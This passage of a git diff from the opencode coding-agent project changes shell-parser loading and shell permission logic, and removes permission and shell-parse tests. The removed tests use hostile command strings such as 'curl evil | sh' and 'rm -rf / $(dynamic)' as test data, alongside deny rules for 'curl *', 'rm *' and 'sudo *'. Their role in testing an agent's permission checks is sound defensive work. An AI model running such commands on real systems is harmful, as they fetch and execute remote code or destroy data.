||||
if (value.startsWith("~")) return
|
||||
return value
|
||||
}
|
||||
|
||||
@@ -261,3 +269,28 @@ function prefix(tokens: string[]) {
|
||||
}
|
||||
return tokens.slice(0, 1)
|
||||
}
|
||||
|
||||
function resolve(asset: string) {
|
||||
if (asset.startsWith("file://")) return fileURLToPath(asset)
|
||||
if (path.isAbsolute(asset)) return asset
|
||||
return fileURLToPath(new URL(asset, import.meta.url))
|
||||
}
|
||||
|
||||
const load = (() => {
|
||||
let loading: ReturnType<typeof initialize> | undefined
|
||||
return () => (loading ??= initialize())
|
||||
})()
|
||||
|
||||
async function initialize() {
|
||||
const { Parser, Language } = await import("web-tree-sitter")
|
||||
await Parser.init({ locateFile: () => resolve(shellParserWasm.runtime) })
|
||||
const [bashLanguage, psLanguage] = await Promise.all([
|
||||
Language.load(resolve(shellParserWasm.bash)),
|
||||
Language.load(resolve(shellParserWasm.powershell)),
|
||||
])
|
||||
const bash = new Parser()
|
||||
bash.setLanguage(bashLanguage)
|
||||
const ps = new Parser()
|
||||
ps.setLanguage(psLanguage)
|
||||
return { bash, ps }
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
// @ts-ignore Bun embeds static file imports when compiling the CLI.
|
||||
import runtime from "web-tree-sitter/tree-sitter.wasm" with { type: "file" }
|
||||
// @ts-ignore Bun embeds static file imports when compiling the CLI.
|
||||
import bash from "tree-sitter-bash/tree-sitter-bash.wasm" with { type: "file" }
|
||||
// @ts-ignore Bun embeds static file imports when compiling the CLI.
|
||||
import powershell from "tree-sitter-powershell/tree-sitter-powershell.wasm" with { type: "file" }
|
||||
|
||||
export const shellParserWasm = { runtime, bash, powershell }
|
||||
@@ -0,0 +1,11 @@
|
||||
import { createRequire } from "node:module"
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
|
||||
export const shellParserWasm = {
|
||||
runtime: process.env.OPENCODE_TREE_SITTER_WASM_PATH ?? require.resolve("web-tree-sitter/tree-sitter.wasm"),
|
||||
bash: process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH ?? require.resolve("tree-sitter-bash/tree-sitter-bash.wasm"),
|
||||
powershell:
|
||||
process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH ??
|
||||
require.resolve("tree-sitter-powershell/tree-sitter-powershell.wasm"),
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
// workerd has no filesystem paths to tree-sitter wasm artifacts. ShellParse
|
||||
// loads these lazily and degrades when initialization fails, so empty paths
|
||||
// keep module load side-effect free instead of resolving from disk.
|
||||
export const shellParserWasm = { runtime: "", bash: "", powershell: "" }
|
||||
@@ -5,7 +5,7 @@ import { ToolFailure } from "@opencode-ai/ai"
|
||||
import { Effect, Schema } from "effect"
|
||||
import { Form } from "../../form.js"
|
||||
import { Permission } from "../../permission.js"
|
||||
import { Question } from "../../question.js"
|
||||
import { Question } from "@opencode-ai/schema/question"
|
||||
|
||||
export const name = "question"
|
||||
|
||||
|
||||
@@ -183,21 +183,11 @@ export const Plugin = {
|
||||
agent: context.agent,
|
||||
source,
|
||||
})
|
||||
if ("directoryUnknown" in parsed && parsed.directoryUnknown)
|
||||
yield* permission.assert({
|
||||
action: "external_directory",
|
||||
resources: ["*"],
|
||||
opaque: true,
|
||||
sessionID: context.sessionID,
|
||||
agent: context.agent,
|
||||
source,
|
||||
})
|
||||
if (parsed.commands.length > 0)
|
||||
yield* permission.assert({
|
||||
action: name,
|
||||
resources: parsed.commands.map((command) => command.resource),
|
||||
save: parsed.commands.flatMap((command) => ("save" in command ? [command.save] : [])),
|
||||
opaque: parsed.opaque,
|
||||
save: parsed.commands.map((command) => command.save),
|
||||
sessionID: context.sessionID,
|
||||
agent: context.agent,
|
||||
source,
|
||||
|
||||
@@ -112,11 +112,28 @@ describe("Permission", () => {
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("denies empty resource requests", () =>
|
||||
it.effect("proves only unconditional configured allows", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([{ action: "*", resource: "*", effect: "allow" }])
|
||||
const service = yield* Permission.Service
|
||||
expect(yield* service.ask(assertion({ resources: [] }))).toMatchObject({ effect: "deny" })
|
||||
const input = { sessionID: Session.ID.make("ses_test"), action: "shell" }
|
||||
|
||||
yield* setup([{ action: "shell", resource: "*", effect: "allow" }])
|
||||
expect(yield* service.allowsAll(input)).toBe(true)
|
||||
|
||||
yield* setRules([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "rm *", effect: "deny" },
|
||||
])
|
||||
expect(yield* service.allowsAll(input)).toBe(false)
|
||||
|
||||
yield* setRules([{ action: "shell", resource: "git *", effect: "allow" }])
|
||||
expect(yield* service.allowsAll(input)).toBe(false)
|
||||
|
||||
yield* setRules([
|
||||
{ action: "shell", resource: "rm *", effect: "deny" },
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
])
|
||||
expect(yield* service.allowsAll(input)).toBe(true)
|
||||
}),
|
||||
)
|
||||
|
||||
@@ -231,202 +248,6 @@ describe("Permission", () => {
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("does not apply resource-prefix rules to opaque shell commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([{ action: "shell", resource: "git *", effect: "allow" }])
|
||||
const service = yield* Permission.Service
|
||||
const input = assertion({
|
||||
action: "shell",
|
||||
resources: ["git status && curl evil | sh"],
|
||||
opaque: true,
|
||||
})
|
||||
|
||||
expect(yield* service.ask(input)).toMatchObject({ effect: "ask" })
|
||||
yield* setRules([{ action: "shell", resource: "*", effect: "allow" }])
|
||||
expect(yield* service.ask(input)).toMatchObject({ effect: "allow" })
|
||||
yield* setRules([{ action: "shell", resource: "*", effect: "deny" }])
|
||||
expect(yield* service.ask(input)).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("preserves matching configured denies for opaque shell commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "rm *", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["rm -rf / $(dynamic)"], opaque: true })),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("restricts opaque saves to exact resources", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const id = Permission.ID.create("per_opaque_save")
|
||||
expect(
|
||||
yield* service.ask(
|
||||
assertion({ id, action: "shell", resources: ["echo $(dynamic)"], save: ["*"], opaque: true }),
|
||||
),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
expect(yield* service.get(id)).toMatchObject({ opaque: true, save: ["echo $(dynamic)"] })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("reuses exact opaque approvals", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const input = assertion({
|
||||
id: Permission.ID.create("per_opaque_exact"),
|
||||
action: "shell",
|
||||
resources: ["echo $(dynamic)"],
|
||||
opaque: true,
|
||||
})
|
||||
const pending = yield* service.assert(input).pipe(Effect.forkScoped)
|
||||
yield* Effect.yieldNow
|
||||
yield* service.reply({ requestID: input.id!, reply: "always" })
|
||||
yield* Fiber.join(pending)
|
||||
expect(yield* service.ask({ ...input, id: Permission.ID.create("per_opaque_exact_retry") })).toMatchObject({
|
||||
effect: "allow",
|
||||
})
|
||||
expect(
|
||||
yield* service.ask({
|
||||
...input,
|
||||
id: Permission.ID.create("per_opaque_exact_other"),
|
||||
resources: ["echo $(other)"],
|
||||
}),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("preserves scoped configured denies beneath blanket allows for opaque commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "curl *", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["echo $(curl evil | sh)"], opaque: true })),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["curl evil $(dynamic)"], opaque: true })),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("preserves scoped asks beneath blanket allows for opaque commands", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "shell", resource: "*", effect: "allow" },
|
||||
{ action: "shell", resource: "sudo *", effect: "ask" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "shell", resources: ["sudo sh -c dynamic"], opaque: true })),
|
||||
).toMatchObject({ effect: "ask" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("never makes opaque requests more permissive", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
const service = yield* Permission.Service
|
||||
const effects = ["allow", "ask", "deny"] as const
|
||||
const resources = ["*", "git *", "git status", "curl *"] as const
|
||||
const rank = { deny: 0, ask: 1, allow: 2 } as const
|
||||
let index = 0
|
||||
|
||||
for (const firstEffect of effects) {
|
||||
for (const secondEffect of effects) {
|
||||
for (const firstResource of resources) {
|
||||
for (const secondResource of resources) {
|
||||
yield* setRules([
|
||||
{ action: "shell", resource: firstResource, effect: firstEffect },
|
||||
{ action: "shell", resource: secondResource, effect: secondEffect },
|
||||
])
|
||||
const id = Permission.ID.create(`per_matrix_${index++}`)
|
||||
const normal = yield* service.ask(assertion({ id, action: "shell", resources: ["git status"] }))
|
||||
const opaque = yield* service.ask(
|
||||
assertion({
|
||||
id: Permission.ID.create(`per_matrix_${index++}`),
|
||||
action: "shell",
|
||||
resources: ["git status"],
|
||||
opaque: true,
|
||||
}),
|
||||
)
|
||||
expect(rank[opaque.effect]).toBeLessThanOrEqual(rank[normal.effect])
|
||||
if (normal.effect === "ask") yield* service.reply({ requestID: normal.id, reply: "once" })
|
||||
if (opaque.effect === "ask") yield* service.reply({ requestID: opaque.id, reply: "once" })
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(yield* service.list()).toEqual([])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("keeps configured scoped rules above saved approvals for opaque requests", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([{ action: "shell", resource: "git *", effect: "ask" }])
|
||||
const saved = yield* PermissionSaved.Service
|
||||
yield* saved.add({ projectID: Project.ID.global, action: "shell", resources: ["*"] })
|
||||
const service = yield* Permission.Service
|
||||
|
||||
expect(yield* service.ask(assertion({ action: "shell", resources: ["git status"], opaque: true }))).toMatchObject(
|
||||
{ effect: "ask" },
|
||||
)
|
||||
yield* setRules([{ action: "shell", resource: "git *", effect: "deny" }])
|
||||
expect(
|
||||
yield* service.ask(
|
||||
assertion({
|
||||
id: Permission.ID.create("per_saved_deny"),
|
||||
action: "shell",
|
||||
resources: ["git status"],
|
||||
opaque: true,
|
||||
}),
|
||||
),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("uses the least permissive effect across resources", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "read", resource: "allowed/*", effect: "allow" },
|
||||
{ action: "read", resource: "blocked/*", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
expect(yield* service.ask(assertion({ resources: ["allowed/file", "unknown/file"] }))).toMatchObject({
|
||||
effect: "ask",
|
||||
})
|
||||
expect(
|
||||
yield* service.ask(
|
||||
assertion({ id: Permission.ID.create("per_multi_deny"), resources: ["allowed/file", "blocked/file"] }),
|
||||
),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("denies opaque wildcard resources when any scoped deny applies", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup([
|
||||
{ action: "external_directory", resource: "*", effect: "allow" },
|
||||
{ action: "external_directory", resource: "/secret/*", effect: "deny" },
|
||||
])
|
||||
const service = yield* Permission.Service
|
||||
expect(
|
||||
yield* service.ask(assertion({ action: "external_directory", resources: ["*"], opaque: true })),
|
||||
).toMatchObject({ effect: "deny" })
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("uses saved bash approvals while preserving configured deny precedence", () =>
|
||||
Effect.gen(function* () {
|
||||
yield* setup()
|
||||
|
||||
@@ -1,115 +0,0 @@
|
||||
import { describe, expect } from "bun:test"
|
||||
import { Context, Deferred, Effect, Exit, Fiber, Layer, Scope } from "effect"
|
||||
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
|
||||
import { AppNodeBuilder } from "@opencode-ai/core/effect/app-node-builder"
|
||||
import { Bus } from "@opencode-ai/core/bus"
|
||||
import { Event } from "@opencode-ai/schema/event"
|
||||
import { Question } from "@opencode-ai/core/question"
|
||||
import { Session } from "@opencode-ai/core/session"
|
||||
import { testEffect } from "./lib/effect"
|
||||
|
||||
const questions = AppNodeBuilder.build(LayerNode.group([Bus.node, Question.node]))
|
||||
const it = testEffect(questions)
|
||||
|
||||
const sessionID = Session.ID.make("ses_question_test")
|
||||
const question: Question.Info = {
|
||||
question: "Which option?",
|
||||
header: "Option",
|
||||
options: [{ label: "One", description: "First option" }],
|
||||
}
|
||||
|
||||
const waitForAsk = Effect.fn("QuestionTest.waitForAsk")(function* (
|
||||
service: Question.Interface,
|
||||
input: Question.AskInput,
|
||||
) {
|
||||
const bus = yield* Bus.Service
|
||||
const asked = yield* Deferred.make<Question.Request>()
|
||||
const unsubscribe = yield* bus.listen((event) =>
|
||||
event.type === Question.Event.Asked.type
|
||||
? Deferred.succeed(asked, event.data as Question.Request).pipe(Effect.asVoid)
|
||||
: Effect.void,
|
||||
)
|
||||
yield* Effect.addFinalizer(() => unsubscribe)
|
||||
const fiber = yield* service.ask(input).pipe(Effect.forkScoped)
|
||||
return { fiber, request: yield* Deferred.await(asked) }
|
||||
})
|
||||
|
||||
describe("Question", () => {
|
||||
it.effect("publishes lifecycle events and settles a pending reply", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Question.Service
|
||||
const bus = yield* Bus.Service
|
||||
const published: Event.Payload[] = []
|
||||
const unsubscribe = yield* bus.listen((event) =>
|
||||
Effect.sync(() => {
|
||||
if (event.type.startsWith("question.")) published.push(event)
|
||||
}),
|
||||
)
|
||||
yield* Effect.addFinalizer(() => unsubscribe)
|
||||
const { fiber, request } = yield* waitForAsk(service, { sessionID, questions: [question] })
|
||||
|
||||
expect(request.id).toMatch(/^que_/)
|
||||
expect(yield* service.list()).toEqual([request])
|
||||
yield* service.reply({ requestID: request.id, answers: [["One"]] })
|
||||
|
||||
expect(yield* Fiber.join(fiber)).toEqual([["One"]])
|
||||
expect(yield* service.list()).toEqual([])
|
||||
expect(published.map((event) => [event.type, event.data])).toEqual([
|
||||
[Question.Event.Asked.type, request],
|
||||
[Question.Event.Replied.type, { sessionID, requestID: request.id, answers: [["One"]] }],
|
||||
])
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("publishes rejection, fails the ask, and rejects unknown IDs", () =>
|
||||
Effect.gen(function* () {
|
||||
const service = yield* Question.Service
|
||||
const bus = yield* Bus.Service
|
||||
const published: Event.Payload[] = []
|
||||
const unsubscribe = yield* bus.listen((event) =>
|
||||
Effect.sync(() => {
|
||||
if (event.type === Question.Event.Rejected.type) published.push(event)
|
||||
}),
|
||||
)
|
||||
yield* Effect.addFinalizer(() => unsubscribe)
|
||||
const { fiber, request } = yield* waitForAsk(service, { sessionID, questions: [question] })
|
||||
|
||||
yield* service.reject(request.id)
|
||||
const exit = yield* Fiber.await(fiber)
|
||||
expect(Exit.isFailure(exit)).toBe(true)
|
||||
if (Exit.isFailure(exit)) expect(exit.cause.toString()).toContain("Question.RejectedError")
|
||||
expect(published.map((event) => event.data)).toEqual([{ sessionID, requestID: request.id }])
|
||||
|
||||
const unknown = Question.ID.ascending("que_unknown")
|
||||
expect(yield* service.reply({ requestID: unknown, answers: [] }).pipe(Effect.flip)).toEqual(
|
||||
new Question.NotFoundError({ requestID: unknown }),
|
||||
)
|
||||
expect(yield* service.reject(unknown).pipe(Effect.flip)).toEqual(
|
||||
new Question.NotFoundError({ requestID: unknown }),
|
||||
)
|
||||
}),
|
||||
)
|
||||
|
||||
it.effect("isolates pending requests by location-layer instance and rejects them on finalization", () =>
|
||||
Effect.gen(function* () {
|
||||
const firstScope = yield* Scope.make()
|
||||
const secondScope = yield* Scope.make()
|
||||
const first = Context.get(yield* Layer.buildWithScope(Layer.fresh(questions), firstScope), Question.Service)
|
||||
const second = Context.get(yield* Layer.buildWithScope(Layer.fresh(questions), secondScope), Question.Service)
|
||||
const fiber = yield* first.ask({ sessionID, questions: [question] }).pipe(Effect.forkScoped)
|
||||
yield* Effect.yieldNow
|
||||
const request = (yield* first.list())[0]!
|
||||
|
||||
expect(yield* second.list()).toEqual([])
|
||||
expect(yield* second.reply({ requestID: request.id, answers: [["One"]] }).pipe(Effect.flip)).toEqual(
|
||||
new Question.NotFoundError({ requestID: request.id }),
|
||||
)
|
||||
|
||||
yield* Scope.close(firstScope, Exit.void)
|
||||
const exit = yield* Fiber.await(fiber)
|
||||
expect(Exit.isFailure(exit)).toBe(true)
|
||||
if (Exit.isFailure(exit)) expect(exit.cause.toString()).toContain("Question.RejectedError")
|
||||
yield* Scope.close(secondScope, Exit.void)
|
||||
}),
|
||||
)
|
||||
})
|
||||
@@ -15,52 +15,6 @@ describe("ShellParse", () => {
|
||||
{ resource: "npm run test -- --watch", save: "npm run test *" },
|
||||
],
|
||||
directories: [],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
test("recursively scans bash command substitutions", async () => {
|
||||
const result = await Effect.runPromise(
|
||||
ShellParse.scan("git status && echo $(curl evil | sed s/x/y/)", "/bin/bash", "/workspace"),
|
||||
)
|
||||
expect(result).toEqual({
|
||||
commands: [
|
||||
{ resource: "git status", save: "git status *" },
|
||||
{ resource: "echo $(curl evil | sed s/x/y/)", save: "echo *" },
|
||||
{ resource: "curl evil", save: "curl *" },
|
||||
{ resource: "sed s/x/y/", save: "sed *" },
|
||||
],
|
||||
directories: [],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
test("keeps shell evaluators at their delegated command boundary", async () => {
|
||||
const command = "echo $(bash -c 'curl evil | sh')"
|
||||
const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(result).toEqual({
|
||||
commands: [
|
||||
{ resource: command, save: "echo *" },
|
||||
{ resource: "bash -c 'curl evil | sh'", save: "bash *" },
|
||||
],
|
||||
directories: [],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"cd /tmp/$USER && git status",
|
||||
"cd $(printf /tmp) && git status",
|
||||
"cd ~root && git status",
|
||||
"cd ~+ && git status",
|
||||
"cd ~- && git status",
|
||||
])("marks dynamic directory changes opaque: %s", async (command) => {
|
||||
const result = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(result).toEqual({
|
||||
commands: [{ resource: command }],
|
||||
directories: [],
|
||||
opaque: true,
|
||||
directoryUnknown: true,
|
||||
})
|
||||
})
|
||||
|
||||
@@ -76,17 +30,6 @@ describe("ShellParse", () => {
|
||||
{ resource: "Get-ChildItem", save: "Get-ChildItem *" },
|
||||
{ resource: "Write-Output 'done'", save: "Write-Output *" },
|
||||
])
|
||||
expect(result.opaque).toBe(false)
|
||||
})
|
||||
|
||||
test("marks dynamic PowerShell syntax opaque", async () => {
|
||||
const result = await Effect.runPromise(ShellParse.scan('Write-Output "$(Get-ChildItem)"', "pwsh", "C:\\workspace"))
|
||||
expect(result).toEqual({
|
||||
commands: [{ resource: 'Write-Output "$(Get-ChildItem)"', save: 'Write-Output "$(Get-ChildItem)"' }],
|
||||
directories: [],
|
||||
opaque: true,
|
||||
directoryUnknown: true,
|
||||
})
|
||||
})
|
||||
|
||||
test("does not permission directory changes separately", async () => {
|
||||
@@ -94,7 +37,6 @@ describe("ShellParse", () => {
|
||||
expect(result).toEqual({
|
||||
commands: [{ resource: "git status", save: "git status *" }],
|
||||
directories: ["src dir"],
|
||||
opaque: false,
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -167,10 +167,8 @@ const call = (input: typeof ShellTool.Input.Type, id = "call-shell") => ({
|
||||
})
|
||||
|
||||
const isWindows = process.platform === "win32"
|
||||
const cwdCommand = isWindows
|
||||
? "Get-Location | Select-Object -ExpandProperty Path; Start-Sleep -Milliseconds 100"
|
||||
: "pwd"
|
||||
const helloCommand = isWindows ? "Write-Output hello; Start-Sleep -Milliseconds 100" : "printf hello"
|
||||
const cwdCommand = isWindows ? "(Get-Location).Path; Start-Sleep -Milliseconds 100" : "pwd"
|
||||
const helloCommand = isWindows ? "[Console]::Out.Write('hello'); Start-Sleep -Milliseconds 100" : "printf hello"
|
||||
const stderrCommand = isWindows
|
||||
? "[Console]::Error.Write('stderr only'); Start-Sleep -Milliseconds 100"
|
||||
: "printf 'stderr only' >&2"
|
||||
@@ -240,7 +238,7 @@ describe("ShellTool", () => {
|
||||
const settled = yield* executeTool(registry, call({ command: helloCommand }))
|
||||
expect(settled.status).toBe("completed")
|
||||
expect(settled.metadata).toMatchObject({ exit: 0, truncated: false })
|
||||
expect(settled.content?.[0]).toMatchObject({ type: "text", text: expect.stringContaining("hello") })
|
||||
expect(settled.content?.[0]).toEqual({ type: "text", text: "hello" })
|
||||
expect(settled.content?.[1]).toMatchObject({
|
||||
type: "text",
|
||||
text: expect.stringContaining("Command exited with code 0."),
|
||||
@@ -249,10 +247,10 @@ describe("ShellTool", () => {
|
||||
{
|
||||
sessionID,
|
||||
action: "shell",
|
||||
resources: isWindows ? ["Write-Output hello", "Start-Sleep -Milliseconds 100"] : [helloCommand],
|
||||
resources: [isWindows ? "Start-Sleep -Milliseconds 100" : helloCommand],
|
||||
},
|
||||
])
|
||||
expect(assertions[0]?.save).toEqual(isWindows ? ["Write-Output *", "Start-Sleep *"] : ["printf *"])
|
||||
expect(assertions[0]?.save).toEqual([isWindows ? "Start-Sleep *" : "printf *"])
|
||||
}),
|
||||
)
|
||||
},
|
||||
@@ -445,7 +443,7 @@ describe("ShellTool", () => {
|
||||
([active, outside]) => {
|
||||
reset()
|
||||
const command = isWindows
|
||||
? `Set-Location -LiteralPath '${outside.path}'; Get-Location | Select-Object -ExpandProperty Path`
|
||||
? `Set-Location -LiteralPath '${outside.path}'; (Get-Location).Path`
|
||||
: `cd '${outside.path}' && pwd`
|
||||
return withSession(active.path, (registry) =>
|
||||
executeTool(registry, call({ command }, "call-external-cd")),
|
||||
@@ -473,9 +471,7 @@ describe("ShellTool", () => {
|
||||
Effect.promise(() => tmpdir()),
|
||||
(tmp) => {
|
||||
reset()
|
||||
const command = isWindows
|
||||
? "Set-Location $HOME; Get-Location | Select-Object -ExpandProperty Path"
|
||||
: "cd ~ && pwd"
|
||||
const command = isWindows ? "Set-Location $HOME; (Get-Location).Path" : "cd ~ && pwd"
|
||||
return withSession(tmp.path, (registry) => executeTool(registry, call({ command }, "call-external-home"))).pipe(
|
||||
Effect.andThen(
|
||||
Effect.sync(() => {
|
||||
|
||||
@@ -41,7 +41,7 @@ export async function startBackgroundCli(logger: Logger) {
|
||||
? join(app.getPath("userData"), "opencode", "service-local.json")
|
||||
: undefined,
|
||||
version: cli.version,
|
||||
command: [...cli.command, "serve", "--service", ...(isolated ? ["--port", "0"] : [])],
|
||||
command: [...cli.command, "serve", "--service"],
|
||||
onStart: (reason, previousVersion) => logger.log("v2 CLI background service starting", { reason, previousVersion }),
|
||||
})
|
||||
if (service.auth?.type !== "basic") throw new Error("V2 CLI background service did not provide authentication")
|
||||
|
||||
@@ -36,6 +36,16 @@ export function CaptureContextMenu({ identifier, deepLink, issueLink, children }
|
||||
setPosition(undefined)
|
||||
}
|
||||
|
||||
const copyImage = () => {
|
||||
const canvas = targetRef.current?.querySelector("canvas")
|
||||
if (!canvas) return
|
||||
const image = new Promise<Blob>((resolve, reject) => {
|
||||
canvas.toBlob((blob) => (blob ? resolve(blob) : reject(new Error("Failed to encode capture image"))), "image/png")
|
||||
})
|
||||
void navigator.clipboard.write([new ClipboardItem({ "image/png": image })])
|
||||
setPosition(undefined)
|
||||
}
|
||||
|
||||
return (
|
||||
<span
|
||||
ref={targetRef}
|
||||
@@ -58,13 +68,16 @@ export function CaptureContextMenu({ identifier, deepLink, issueLink, children }
|
||||
tabIndex={-1}
|
||||
style={{
|
||||
left: Math.max(8, Math.min(position.x, window.innerWidth - 176)),
|
||||
top: Math.max(8, Math.min(position.y, window.innerHeight - 84)),
|
||||
top: Math.max(8, Math.min(position.y, window.innerHeight - 160)),
|
||||
}}
|
||||
onKeyDown={(event) => {
|
||||
if (event.key === "Escape") setPosition(undefined)
|
||||
}}
|
||||
onPointerDown={(event) => event.stopPropagation()}
|
||||
>
|
||||
<button type="button" role="menuitem" onClick={copyImage}>
|
||||
Copy image
|
||||
</button>
|
||||
<button type="button" role="menuitem" onClick={() => copy(identifier)}>
|
||||
Copy ID
|
||||
</button>
|
||||
|
||||
@@ -31,9 +31,9 @@
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@opencode-ai/theme": "workspace:*",
|
||||
"@opentui/core": ">=0.5.2",
|
||||
"@opentui/keymap": ">=0.5.2",
|
||||
"@opentui/solid": ">=0.5.2",
|
||||
"@opentui/core": ">=0.5.3",
|
||||
"@opentui/keymap": ">=0.5.3",
|
||||
"@opentui/solid": ">=0.5.3",
|
||||
"solid-js": ">=1.9.0"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
|
||||
@@ -7933,9 +7933,6 @@
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"opaque": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"metadata": {
|
||||
"type": "object"
|
||||
},
|
||||
@@ -10441,359 +10438,6 @@
|
||||
"summary": "Read shell output"
|
||||
}
|
||||
},
|
||||
"/api/question/request": {
|
||||
"get": {
|
||||
"tags": ["question"],
|
||||
"operationId": "v2.question.request.list",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "location",
|
||||
"in": "query",
|
||||
"schema": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"directory": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"workspace": {
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string"
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"additionalProperties": false
|
||||
},
|
||||
{
|
||||
"type": "null"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": false,
|
||||
"style": "deepObject",
|
||||
"explode": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "Success",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"location": {
|
||||
"$ref": "#/components/schemas/Location.Info"
|
||||
},
|
||||
"data": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Request"
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": ["location", "data"],
|
||||
"additionalProperties": false
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"description": "UnauthorizedError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/UnauthorizedError"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Retrieve pending question requests for a location.",
|
||||
"summary": "List pending question requests"
|
||||
}
|
||||
},
|
||||
"/api/session/{sessionID}/question": {
|
||||
"get": {
|
||||
"tags": ["question"],
|
||||
"operationId": "v2.session.question.list",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "sessionID",
|
||||
"in": "path",
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"allOf": [
|
||||
{
|
||||
"pattern": "^ses"
|
||||
}
|
||||
]
|
||||
},
|
||||
"required": true
|
||||
}
|
||||
],
|
||||
"security": [],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "Success",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"data": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Question.Request"
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": ["data"],
|
||||
"additionalProperties": false
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "InvalidRequestError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/InvalidRequestError"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"description": "UnauthorizedError",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/UnauthorizedError"
|
||||
}
|
||||
}
|
||||
}
|
||||
